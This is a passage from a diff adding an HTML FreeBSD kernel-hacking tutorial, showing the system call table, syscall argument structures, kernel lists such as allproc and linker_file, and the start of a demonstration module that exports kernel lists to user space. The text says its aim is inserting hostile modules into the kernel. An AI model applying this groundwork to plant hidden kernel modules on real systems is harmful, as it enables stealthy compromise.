+ { 2, (sy_call_t *)setregid }, /* 127 = setregid */
+ { 2, (sy_call_t *)rename }, /* 128 = rename */
+ { compat(2,truncate) }, /* 129 = old truncate */
+ { compat(2,ftruncate) }, /* 130 = old ftruncate */
+ { 2, (sy_call_t *)flock }, /* 131 = flock */
+ { 2, (sy_call_t *)mkfifo }, /* 132 = mkfifo */
+ { 6, (sy_call_t *)sendto }, /* 133 = sendto */
+ { 2, (sy_call_t *)shutdown }, /* 134 = shutdown */
+ { 4, (sy_call_t *)socketpair }, /* 135 = socketpair */
+ { 2, (sy_call_t *)mkdir }, /* 136 = mkdir */
+ { 1, (sy_call_t *)rmdir }, /* 137 = rmdir */
+ { 2, (sy_call_t *)utimes }, /* 138 = utimes */
+ { 0, (sy_call_t *)nosys }, /* 139 = obsolete 4.2 sigreturn */
+ { 2, (sy_call_t *)adjtime }, /* 140 = adjtime */
+ { compat(3,getpeername) }, /* 141 = old getpeername */
+ { compat(0,gethostid) }, /* 142 = old gethostid */
+ { compat(1,sethostid) }, /* 143 = old sethostid */
+ { compat(2,getrlimit) }, /* 144 = old getrlimit */
+ { compat(2,setrlimit) }, /* 145 = old setrlimit */
+ { compat(2,killpg) }, /* 146 = old killpg */
+ { 0, (sy_call_t *)setsid }, /* 147 = setsid */
+ { 4, (sy_call_t *)quotactl }, /* 148 = quotactl */
+ { compat(0,quota) }, /* 149 = old quota */
+ { compat(3,getsockname) }, /* 150 = old getsockname */
+ { 0, (sy_call_t *)nosys }, /* 151 = sem_lock */
+ { 0, (sy_call_t *)nosys }, /* 152 = sem_wakeup */
+ { 0, (sy_call_t *)nosys }, /* 153 = asyncdaemon */
+ { 0, (sy_call_t *)nosys }, /* 154 = nosys */
+ { 2, (sy_call_t *)nosys }, /* 155 = nfssvc */
+ { compat(4,getdirentries) }, /* 156 = old getdirentries */
+ { 2, (sy_call_t *)statfs }, /* 157 = statfs */
+ { 2, (sy_call_t *)fstatfs }, /* 158 = fstatfs */
+ { 0, (sy_call_t *)nosys }, /* 159 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 160 = nosys */
+ { 2, (sy_call_t *)nosys }, /* 161 = getfh */
+ { 2, (sy_call_t *)getdomainname }, /* 162 = getdomainname */
+ { 2, (sy_call_t *)setdomainname }, /* 163 = setdomainname */
+ { 1, (sy_call_t *)uname }, /* 164 = uname */
+ { 2, (sy_call_t *)sysarch }, /* 165 = sysarch */
+ { 3, (sy_call_t *)rtprio }, /* 166 = rtprio */
+ { 0, (sy_call_t *)nosys }, /* 167 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 168 = nosys */
+ { 5, (sy_call_t *)semsys }, /* 169 = semsys */
+ { 6, (sy_call_t *)msgsys }, /* 170 = msgsys */
+ { 4, (sy_call_t *)shmsys }, /* 171 = shmsys */
+ { 0, (sy_call_t *)nosys }, /* 172 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 173 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 174 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 175 = nosys */
+ { 1, (sy_call_t *)ntp_adjtime }, /* 176 = ntp_adjtime */
+ { 0, (sy_call_t *)nosys }, /* 177 = sfork */
+ { 0, (sy_call_t *)nosys }, /* 178 = getdescriptor */
+ { 0, (sy_call_t *)nosys }, /* 179 = setdescriptor */
+ { 0, (sy_call_t *)nosys }, /* 180 = nosys */
+ { 1, (sy_call_t *)setgid }, /* 181 = setgid */
+ { 1, (sy_call_t *)setegid }, /* 182 = setegid */
+ { 1, (sy_call_t *)seteuid }, /* 183 = seteuid */
+ { 0, (sy_call_t *)nosys }, /* 184 = lfs_bmapv */
+ { 0, (sy_call_t *)nosys }, /* 185 = lfs_markv */
+ { 0, (sy_call_t *)nosys }, /* 186 = lfs_segclean */
+ { 0, (sy_call_t *)nosys }, /* 187 = lfs_segwait */
+ { 2, (sy_call_t *)stat }, /* 188 = stat */
+ { 2, (sy_call_t *)fstat }, /* 189 = fstat */
+ { 2, (sy_call_t *)lstat }, /* 190 = lstat */
+ { 2, (sy_call_t *)pathconf }, /* 191 = pathconf */
+ { 2, (sy_call_t *)fpathconf }, /* 192 = fpathconf */
+ { 0, (sy_call_t *)nosys }, /* 193 = nosys */
+ { 2, (sy_call_t *)getrlimit }, /* 194 = getrlimit */
+ { 2, (sy_call_t *)setrlimit }, /* 195 = setrlimit */
+ { 4, (sy_call_t *)getdirentries }, /* 196 = getdirentries */
+ { 8, (sy_call_t *)mmap }, /* 197 = mmap */
+ { 0, (sy_call_t *)nosys }, /* 198 = __syscall */
+ { 5, (sy_call_t *)lseek }, /* 199 = lseek */
+ { 4, (sy_call_t *)truncate }, /* 200 = truncate */
+ { 4, (sy_call_t *)ftruncate }, /* 201 = ftruncate */
+ { 6, (sy_call_t *)__sysctl }, /* 202 = __sysctl */
+ { 2, (sy_call_t *)mlock }, /* 203 = mlock */
+ { 2, (sy_call_t *)munlock }, /* 204 = munlock */
+ { 1, (sy_call_t *)undelete }, /* 205 = undelete */
+ { 2, (sy_call_t *)futimes }, /* 206 = futimes */
+ { 1, (sy_call_t *)getpgid }, /* 207 = getpgid */
+ { 0, (sy_call_t *)nosys }, /* 208 = newreboot */
+ { 3, (sy_call_t *)poll }, /* 209 = poll */
+ { 0, (sy_call_t *)lkmnosys }, /* 210 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 211 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 212 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 213 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 214 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 215 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 216 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 217 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 218 = lkmnosys */
+ { 0, (sy_call_t *)lkmnosys }, /* 219 = lkmnosys */
+ { 4, (sy_call_t *)__semctl }, /* 220 = __semctl */
+ { 3, (sy_call_t *)semget }, /* 221 = semget */
+ { 3, (sy_call_t *)semop }, /* 222 = semop */
+ { 1, (sy_call_t *)semconfig }, /* 223 = semconfig */
+ { 3, (sy_call_t *)msgctl }, /* 224 = msgctl */
+ { 2, (sy_call_t *)msgget }, /* 225 = msgget */
+ { 4, (sy_call_t *)msgsnd }, /* 226 = msgsnd */
+ { 5, (sy_call_t *)msgrcv }, /* 227 = msgrcv */
+ { 3, (sy_call_t *)shmat }, /* 228 = shmat */
+ { 3, (sy_call_t *)shmctl }, /* 229 = shmctl */
+ { 1, (sy_call_t *)shmdt }, /* 230 = shmdt */
+ { 3, (sy_call_t *)shmget }, /* 231 = shmget */
+ { 2, (sy_call_t *)clock_gettime }, /* 232 = clock_gettime */
+ { 2, (sy_call_t *)clock_settime }, /* 233 = clock_settime */
+ { 2, (sy_call_t *)clock_getres }, /* 234 = clock_getres */
+ { 0, (sy_call_t *)nosys }, /* 235 = timer_create */
+ { 0, (sy_call_t *)nosys }, /* 236 = timer_delete */
+ { 0, (sy_call_t *)nosys }, /* 237 = timer_settime */
+ { 0, (sy_call_t *)nosys }, /* 238 = timer_gettime */
+ { 0, (sy_call_t *)nosys }, /* 239 = timer_getoverrun */
+ { 2, (sy_call_t *)nanosleep }, /* 240 = nanosleep */
+ { 0, (sy_call_t *)nosys }, /* 241 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 242 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 243 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 244 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 245 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 246 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 247 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 248 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 249 = nosys */
+ { 3, (sy_call_t *)minherit }, /* 250 = minherit */
+ { 1, (sy_call_t *)rfork }, /* 251 = rfork */
+ { 3, (sy_call_t *)openbsd_poll }, /* 252 = openbsd_poll */
+ { 0, (sy_call_t *)issetugid }, /* 253 = issetugid */
+ { 3, (sy_call_t *)lchown }, /* 254 = lchown */
+ { 0, (sy_call_t *)nosys }, /* 255 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 256 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 257 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 258 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 259 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 260 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 261 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 262 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 263 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 264 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 265 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 266 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 267 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 268 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 269 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 270 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 271 = nosys */
+ { 3, (sy_call_t *)getdents }, /* 272 = getdents */
+ { 0, (sy_call_t *)nosys }, /* 273 = nosys */
+ { 2, (sy_call_t *)lchmod }, /* 274 = lchmod */
+ { 3, (sy_call_t *)lchown }, /* 275 = netbsd_lchown */
+ { 2, (sy_call_t *)lutimes }, /* 276 = lutimes */
+ { 3, (sy_call_t *)msync }, /* 277 = netbsd_msync */
+ { 2, (sy_call_t *)nstat }, /* 278 = nstat */
+ { 2, (sy_call_t *)nfstat }, /* 279 = nfstat */
+ { 2, (sy_call_t *)nlstat }, /* 280 = nlstat */
+ { 0, (sy_call_t *)nosys }, /* 281 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 282 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 283 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 284 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 285 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 286 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 287 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 288 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 289 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 290 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 291 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 292 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 293 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 294 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 295 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 296 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 297 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 298 = nosys */
+ { 0, (sy_call_t *)nosys }, /* 299 = nosys */
+ { 1, (sy_call_t *)modnext }, /* 300 = modnext */
+ { 2, (sy_call_t *)modstat }, /* 301 = modstat */
+ { 1, (sy_call_t *)modfnext }, /* 302 = modfnext */
+ { 1, (sy_call_t *)modfind }, /* 303 = modfind */
+ { 1, (sy_call_t *)kldload }, /* 304 = kldload */
+ { 1, (sy_call_t *)kldunload }, /* 305 = kldunload */
+ { 1, (sy_call_t *)kldfind }, /* 306 = kldfind */
+ { 1, (sy_call_t *)kldnext }, /* 307 = kldnext */
+ { 2, (sy_call_t *)kldstat }, /* 308 = kldstat */
+ { 1, (sy_call_t *)kldfirstmod }, /* 309 = kldfirstmod */
+ { 1, (sy_call_t *)getsid }, /* 310 = getsid */
+ { 0, (sy_call_t *)nosys }, /* 311 = setresuid */
+ { 0, (sy_call_t *)nosys }, /* 312 = setresgid */
+ { 0, (sy_call_t *)nosys }, /* 313 = obsolete signanosleep */
+ { 1, (sy_call_t *)aio_return }, /* 314 = aio_return */
+ { 3, (sy_call_t *)aio_suspend }, /* 315 = aio_suspend */
+ { 2, (sy_call_t *)aio_cancel }, /* 316 = aio_cancel */
+ { 1, (sy_call_t *)aio_error }, /* 317 = aio_error */
+ { 1, (sy_call_t *)aio_read }, /* 318 = aio_read */
+ { 1, (sy_call_t *)aio_write }, /* 319 = aio_write */
+ { 4, (sy_call_t *)lio_listio }, /* 320 = lio_listio */
+ { 0, (sy_call_t *)yield }, /* 321 = yield */
+ { 1, (sy_call_t *)thr_sleep }, /* 322 = thr_sleep */
+ { 1, (sy_call_t *)thr_wakeup }, /* 323 = thr_wakeup */
+ { 1, (sy_call_t *)mlockall }, /* 324 = mlockall */
+ { 0, (sy_call_t *)munlockall }, /* 325 = munlockall */
+ { 2, (sy_call_t *)__getcwd }, /* 326 = __getcwd */
+ { 2, (sy_call_t *)sched_setparam }, /* 327 = sched_setparam */
+ { 2, (sy_call_t *)sched_getparam }, /* 328 = sched_getparam */
+ { 3, (sy_call_t *)sched_setscheduler }, /* 329 = sched_setscheduler */
+ { 1, (sy_call_t *)sched_getscheduler }, /* 330 = sched_getscheduler */
+ { 0, (sy_call_t *)sched_yield }, /* 331 = sched_yield */
+ { 1, (sy_call_t *)sched_get_priority_max }, /* 332 = sched_get_priority_max */
+ { 1, (sy_call_t *)sched_get_priority_min }, /* 333 = sched_get_priority_min */
+ { 2, (sy_call_t *)sched_rr_get_interval }, /* 334 = sched_rr_get_interval */
+ { 2, (sy_call_t *)utrace }, /* 335 = utrace */
+ { 8, (sy_call_t *)sendfile }, /* 336 = sendfile */
+ { 3, (sy_call_t *)kldsym }, /* 337 = kldsym */
+};
+</xmp>
+As you can see sysent[] contains one sysent structure for every system call
+installed on the system. Recall that the first element in the sysent structure
+is the argument count and the second the function pointer. This means for the
+kldsysm system call :
+<xmp>
+argument cound : 3
+system call function : kldsysm
+</xmp>
+And this means that we can get the sysent entry of every system call we want by
+reading sysent[system call number]. The easiest way to get the index is to use
+the syscalls.h file.
+
+<p>
+<H3><A NAME="I.6.1."></A>6.1 Important system calls for hacking</h3>
+<p>
+Now I want to extract the most important system calls you have to understand in
+order to do a bit of kernel hacking. I give you the system call number, the
+function and their arguments structure. Maybe you need to hack other
+system calls, its just a matter of creativity.
+
+
+
+<TABLE border=5 width=100%>
+<tr>
+
+<th>system call</th>
+<th>number</th>
+<th>argument struct</th>
+
+
+<tr>
+<td>read(p, uap)</td>
+<td>3</td>
+<td>struct read_args {<br>
+int fd;<br>
+void *buf;<br>
+size_t nbyte; }<br></td>
+</tr>
+
+
+<tr>
+<td>write(p, uap)</td>
+<td>4</td>
+<td>struct write_args {<br>
+int fd;<br>
+const void *buf;<br>
+size_t nbyte; }<br></td>
+</tr>
+
+<tr>
+<td>open(p, uap)</td>
+<td>5</td>
+<td>struct open_args {<br>
+char *path;<br>
+int flags;<br>
+int mode; }<br></td>
+</tr>
+
+<tr>
+<td>link(p, uap)</td>
+<td>9</td>
+<td>struct link_args {<br>
+char *path;<br>
+char *link; }<br></td>
+</tr>
+
+<tr>
+<td>recvfrom(p, uap)</td>
+<td>29</td>
+<td>struct recvfrom_args {<br>
+int s;<br>
+caddr_t buf;<br>
+size_t len;<br>
+int flags;<br>
+caddr_t from;<br>
+int *fromlenaddr; }<br>
+</td>
+</tr>
+
+<tr>
+<td>accept(p, uap)</td>
+<td>30</td>
+<td>struct accept_args {<br>
+int s;<br>
+caddr_t name;<br>
+int *anamelen; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>kill(p, uap)</td>
+<td>37</td>
+<td>struct kill_args {<br>
+int pid;<br>
+int signum; }<br>
+</td>
+</tr>
+
+<tr>
+<td>ktrace(p, uap)</td>
+<td>45</td>
+<td>struct ktrace_args {<br>
+char *fname;<br>
+int ops;<br>
+int facs;<br>
+int pid; }<br>
+</td>
+</tr>
+
+<tr>
+<td>ioctl(p, uap)</td>
+<td>54</td>
+<td>struct ioctl_args {<br>
+int fd_;<br>
+u_long com;<br>
+caddr_t data; }<br>
+</td>
+</tr>
+
+
+
+<tr>
+<td>reboot(p, uap)</td>
+<td>55</td>
+<td>struct reboot_args {<br>
+int opt; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>execve(p, uap)</td>
+<td>59</td>
+<td>struct execve_args {<br>
+char *fname;<br>
+char **argv;<br>
+char **envv; }<br>
+</td>
+</tr>
+
+
+
+<tr>
+<td>sbrk(p, uap)</td>
+<td>69</td>
+<td>struct sbrk_args {<br>
+int incr; }<br>
+</td>
+</tr>
+
+
+
+
+<tr>
+<td>socket(p, uap)</td>
+<td>97</td>
+<td>struct socket_args {<br>
+int domain;<br>
+int type;<br>
+int protocol; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>connect(p, uap)</td>
+<td>98</td>
+<td>struct connect_args {<br>
+int s;<br>
+caddr_t name;<br>
+int namelen; }<br>
+</td>
+</tr>
+
+
+
+<tr>
+<td>bind(p, uap)</td>
+<td>104</td>
+<td>struct bind_args {<br>
+int s;<br>
+caddr_t name;<br>
+int namelen; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>listen(p, uap)</td>
+<td>106</td>
+<td>struct listen_args {<br>
+int s;<br>
+int backlog; }<br>
+</td>
+</tr>
+
+<tr>
+<td>readv(p, uap)</td>
+<td>120</td>
+<td>struct readv_args {<br>
+int fd;<br>
+struct iovec *iovp;<br>
+u_int iovcnt; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>writev(p, uap)</td>
+<td>121</td>
+<td>struct writev_args {<br>
+int fd;<br>
+struct iovec *iovp;<br>
+u_int iovcnt; }<br>
+</td>
+</tr>
+
+<tr>
+<td>rename(p, uap)</td>
+<td>128</td>
+<td>struct rename_args {<br>
+char *from;<br>
+char *to; }<br>
+</td>
+</tr>
+
+<tr>
+<td>sendto(p, uap)</td>
+<td>133</td>
+<td>struct sendto_args {<br>
+int s;<br>
+caddr_t buf;<br>
+size_t len;<br>
+int flags;<br>
+caddr_t to;<br>
+int tolen; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>mkdir(p, uap)</td>
+<td>136</td>
+<td>struct mkdir_args {<br>
+char *path;<br>
+int mode; }<br>
+</td>
+</tr>
+
+<tr>
+<td>rmdir(p, uap)</td>
+<td>137</td>
+<td>struct rmdir_args {<br>
+char *path; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>getdirentries(p, uap)</td>
+<td>196</td>
+<td>struct getdirentries_args {<br>
+int fd;<br>
+char *buf;<br>
+u_int count;<br>
+long *basep; }<br>
+</td>
+</tr>
+
+<tr>
+<td>modnext(p, uap)</td>
+<td>300</td>
+<td>struct modnext_args {<br>
+int modid; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>modstat(p, uap)</td>
+<td>301</td>
+<td>struct modstat_args {<br>
+int modid; <br>
+struct module_stat *stat; }<br>
+</td>
+</tr>
+
+
+
+<tr>
+<td>modfnext(p, uap)</td>
+<td>302</td>
+<td>struct modfnext_args {<br>
+int modid; }<br>
+</td>
+</tr>
+
+<tr>
+<td>modfind(p, uap)</td>
+<td>303</td>
+<td>struct modfind_args {<br>
+char *name; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>kldload(p, uap)</td>
+<td>304</td>
+<td>struct kldload_args {<br>
+const char *file; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>kldunload(p, uap)</td>
+<td>305</td>
+<td>struct kldunload_args {<br>
+int fileid; }<br>
+</td>
+</tr>
+
+<tr>
+<td>kldfind(p, uap)</td>
+<td>306</td>
+<td>struct kldfind_args {<br>
+const char *file; }<br>
+</td>
+</tr>
+
+
+<tr>
+<td>kldnext(p, uap)</td>
+<td>307</td>
+<td>struct kldnext_args {<br>
+int fileid; }<br>
+</td>
+</tr>
+
+
+
+<tr>
+<td>kldstat(p, uap)</td>
+<td>308</td>
+<td>struct kldstat_args {<br>
+int fileid;<br>
+struct kld_file_stat *stat; }<br>
+</td>
+</tr>
+
+
+
+<tr>
+<td>kldsym(p, uap)</td>
+<td>337</td>
+<td>struct kldsym_args {<br>
+int fileid;<br>
+int cmd;<br>
+void *data; }<br>
+</td>
+</tr>
+
+</tr>
+</table>
+
+
+
+As you can see every system call gets the proc structure (standing for the
+process calling the system call) and a special argument structure.
+
+<p>
+<H3><A NAME="I.7."></A>7. Important Kernel structures / lists</h3>
+<p>
+
+Beside system calls kernel structures and lists are one of the most important
+things we have to deal with. This section will explain the most basic kernel
+structures and lists we need to understand. It is impossible to give you a
+complete list of all interesting kernel lists, of course.<br>
+This text is dealing with inserting hostile modules into the kernel. Those
+modules are wrapped by link files. The kernel inserts any link file loaded in
+a global list of linker_file structures. So let's take a look at this
+structure :
+<xmp>
+struct linker_file {
+ int refs; /* reference count */
+ int userrefs; /* kldload(2) count */
+ TAILQ_ENTRY(linker_file) link; /* list of all loaded files */
+ char* filename; /* file which was loaded */
+ int id; /* unique id */
+ caddr_t address; /* load address */
+ size_t size; /* size of file */
+ int ndeps; /* number of dependancies */
+ linker_file_t* deps; /* list of dependancies */
+ STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
+ TAILQ_HEAD(, module) modules; /* modules in this file */
+ void* priv; /* implementation data */
+ struct linker_file_ops* ops;
+};
+</xmp>
+Take a look at it. The general layout should be clear : link is used for the
+list management, filename is the name of the link file, modules stands for
+the modules in that file. This is the structure, but where is the global list
+holding all these entries? Take a look at the following line that can be
+found in kern_linker.c :
+<xmp>
+static linker_file_list_t files;
+</xmp>
+Unexpirienced kernel coders will ask what linker_file_list_t stands for (we
+thought of something like linker_file). Ok so let's look what
+linker_file_list_t stands for :
+<xmp>
+typedef TAILQ_HEAD(, linker_file) linker_file_list_t;
+</xmp>
+TAILQ_HEAD is one of lots of macros defined in queue.h. This include file
+provides lots o very helpful macros helping the kernel to manage a lot of
+internal lists. Let's say that the line above does something like
+initialization of the linker_file list, which can now be accessed via
+linker_file_list_t ('TheSeeker' will show how to use those macros).
+Ok now we know where the linker_file list is located this should be enough for
+the moment.<br>
+Now what about modules. As I said before modules are described by a module
+structure (see above). Those structures are also organized in a global list.
+So where and how is this list defined, take a look at this line from
+kern_module.c :
+<xmp>
+typedef TAILQ_HEAD(, module) modulelist_t;
+</xmp>
+Again we see TAILQ_HEAD providing us with a list and again we now know that
+modulelist_t is the global list for every module loaded.<br>
+One of the most important none-module related list in the kernel is the
+allproc (zombproc) list. The allproc list holds every process on the system
+except the zombie processes those are hold by zombproc. First let's take a
+look at the general structure of a process entry. The proc structure holds
+every piece of information needed :
+<xmp>
+struct proc {
+ TAILQ_ENTRY(proc) p_procq; /* run/sleep queue. */
+ LIST_ENTRY(proc) p_list; /* List of all processes. */
+
+ /* substructures: */
+ struct pcred *p_cred; /* Process owner's identity. */
+ struct filedesc *p_fd; /* Ptr to open files structure. */
+ struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
+ struct plimit *p_limit; /* Process limits. */
+ struct vm_object *p_upages_obj;/* Upages object */
+ struct procsig *p_procsig;
+#define p_sigacts p_procsig->ps_sigacts
+#define p_sigignore p_procsig->ps_sigignore
+#define p_sigcatch p_procsig->ps_sigcatch
+
+#define p_ucred p_cred->pc_ucred
+#define p_rlimit p_limit->pl_rlimit
+
+ int p_flag; /* P_* flags. */
+ char p_stat; /* S* process status. */
+ char p_pad1[3];
+
+ pid_t p_pid; /* Process identifier. */
+ LIST_ENTRY(proc) p_hash; /* Hash chain. */
+ LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp. */
+ struct proc *p_pptr; /* Pointer to parent process. */
+ LIST_ENTRY(proc) p_sibling; /* List of sibling processes. */
+ LIST_HEAD(, proc) p_children; /* Pointer to list of children. */
+
+ struct callout_handle p_ithandle; /*
+ * Callout handle for scheduling
+ * p_realtimer.
+ */
+/* The following fields are all zeroed upon creation in fork. */
+#define p_startzero p_oppid
+
+ pid_t p_oppid; /* Save parent pid during ptrace. XXX */
+ int p_dupfd; /* Sideways return value from fdopen. XXX */
+
+ struct vmspace *p_vmspace; /* Address space. */
+
+ /* scheduling */
+ u_int p_estcpu; /* Time averaged value of p_cpticks. */
+ int p_cpticks; /* Ticks of cpu time. */
+ fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */
+ void *p_wchan; /* Sleep address. */
+ const char *p_wmesg; /* Reason for sleep. */
+ u_int p_swtime; /* Time swapped in or out. */
+ u_int p_slptime; /* Time since last blocked. */
+
+ struct itimerval p_realtimer; /* Alarm timer. */
+ u_int64_t p_runtime; /* Real time in microsec. */
+ struct timeval p_switchtime; /* When last scheduled */
+ u_quad_t p_uticks; /* Statclock hits in user mode. */
+ u_quad_t p_sticks; /* Statclock hits in system mode. */
+ u_quad_t p_iticks; /* Statclock hits processing intr. */
+
+ int p_traceflag; /* Kernel trace points. */
+ struct vnode *p_tracep; /* Trace to vnode. */
+
+ int p_siglist; /* Signals arrived but not delivered. */
+
+ struct vnode *p_textvp; /* Vnode of executable. */
+
+ char p_lock; /* Process lock (prevent swap) count. */
+ char p_oncpu; /* Which cpu we are on */
+ char p_lastcpu; /* Last cpu we were on */
+ char p_pad2; /* alignment */
+
+ short p_locks; /* DEBUG: lockmgr count of held locks */
+ short p_simple_locks; /* DEBUG: count of held simple locks */
+ unsigned int p_stops; /* procfs event bitmask */
+ unsigned int p_stype; /* procfs stop event type */
+ char p_step; /* procfs stop *once* flag */
+ unsigned char p_pfsflags; /* procfs flags */
+ char p_pad3[2]; /* padding for alignment */
+ register_t p_retval[2]; /* syscall aux returns */
+ struct sigiolst p_sigiolst; /* list of sigio sources */
+ int p_sigparent; /* signal to parent on exit */
+ sigset_t p_oldsigmask; /* saved mask from before sigpause */
+ int p_sig; /* for core dump/debugger XXX */
+ u_long p_code; /* for core dump/debugger XXX */
+
+/* End area that is zeroed on creation. */
+#define p_endzero p_startcopy
+
+/* The following fields are all copied upon creation in fork. */
+#define p_startcopy p_sigmask
+
+ sigset_t p_sigmask; /* Current signal mask. */
+ u_char p_priority; /* Process priority. */
+ u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */
+ char p_nice; /* Process "nice" value. */
+ char p_comm[MAXCOMLEN+1];
+
+ struct pgrp *p_pgrp; /* Pointer to process group. */
+
+ struct sysentvec *p_sysent; /* System call dispatch information. */
+
+ struct rtprio p_rtprio; /* Realtime priority. */
+/* End area that is copied on creation. */
+#define p_endcopy p_addr
+ struct user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */
+ struct mdproc p_md; /* Any machine-dependent fields. */
+
+ u_short p_xstat; /* Exit status for wait; also stop signal. */
+ u_short p_acflag; /* Accounting flags. */
+ struct rusage *p_ru; /* Exit information. XXX */
+
+ int p_nthreads; /* number of threads (only in leader) */
+ void *p_aioinfo; /* ASYNC I/O info */
+ int p_wakeup; /* thread id */
+ struct proc *p_peers;
+ struct proc *p_leader;
+ struct pasleep p_asleep; /* Used by asleep()/await(). */
+};
+</xmp>
+This structure is quite big and complex. There are lots of substructurs we will
+use in part II, so I won't explain them here. Most of the fields should be
+clear. The vmspace field is also very important for us, because it's our gate
+to the process' memory.<br>
+Now we know how processes are described, but where do we have the allproc and
+zombroc lists ? Let's search for them in kern_proc.c :
+<xmp>
+struct proclist allproc;
+struct proclist zombroc;
+</xmp>
+A reference to proclist can be found in proc.h
+<xmp>
+LIST_HEAD(proclist, proc);
+</xmp>
+LIST_HEAD is another macro taken from queue.h that provides a list (here
+proclist). Now we know how to find any process running on the system : just
+look through allproc (zombroc).<br>
+This are the most basic lists and structures we need to understand, there are
+thousands more, but we won't need them too often.
+
+<p>
+<H3><A NAME="I.7.1."></A>7.1.1. TheSeeker - or how to access kernel lists</h3>
+<p>
+
+I developed a little module that inserts one new system call which provides
+us with the ability to export some kernel space structures and lists to user
+space. This is not very useful (there are better libc calls), I just wrote it
+to show you in an easy way how to handle system calls, kernel lists, user space
+kernel space interfaces, etc. There are some pieces of code that handle the
+user space <-> kernel space transition. For those not aware of this problem I
+suggest first reading section I.8. Those who read my Linux article should be
+able to continue without problems. So here is the module source :
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <sys/lock.h>
+
+#define GD_ALLPROC 1
+#define GD_LINKFILES 2
+#define GD_MODULES 3
+
+typedef TAILQ_HEAD(, module) modulelist_t;
+
+/*import lock structure*/
+extern struct lock lock;
+
+/*import the linker_file list*/
+extern linker_file_list_t files;
+
+/*import module list*/
+extern modulelist_t modules;
+
+/*the module structure (normally defined in kern_module.c)*/
+struct module {
+ TAILQ_ENTRY(module) link;
+ TAILQ_ENTRY(module) flink;
+ struct linker_file *file;
+ int refs;
+ int id;
+ char *name;
+ modeventhand_t handler;
+ void *arg;
+ modspecific_t data;
+};
+
+/*structure for our getdata system call*/
+
+static struct getdata_args {
+ /*this int value stands for the data the user wants to see*/
+ int what;
+ /*this is a user space buffer where we will put the data*/
+ char *buffer;
+};
+
+
+/*the system call function we implement*/
+/*GENERAL WORKING :
+ This system call gets two arguments from a user space program : an integer
+ used as a switch parameter (what kernel list do we want) and a pointer to
+ an allocated user space memory location. If this pointer is zero the
+ system call will return the size of the requested list. This is useful for
+ selecting the buffer size in a second step.*/
+
+static
+int getdata(struct proc *p, struct getdata_args *uap)
+{
+ int size, flag=0;
+ struct proc *pr;
+ linker_file_t lf=0;
+ module_t mod=0;
+
+ /*if the buffer is NULL then the user requests the list size*/
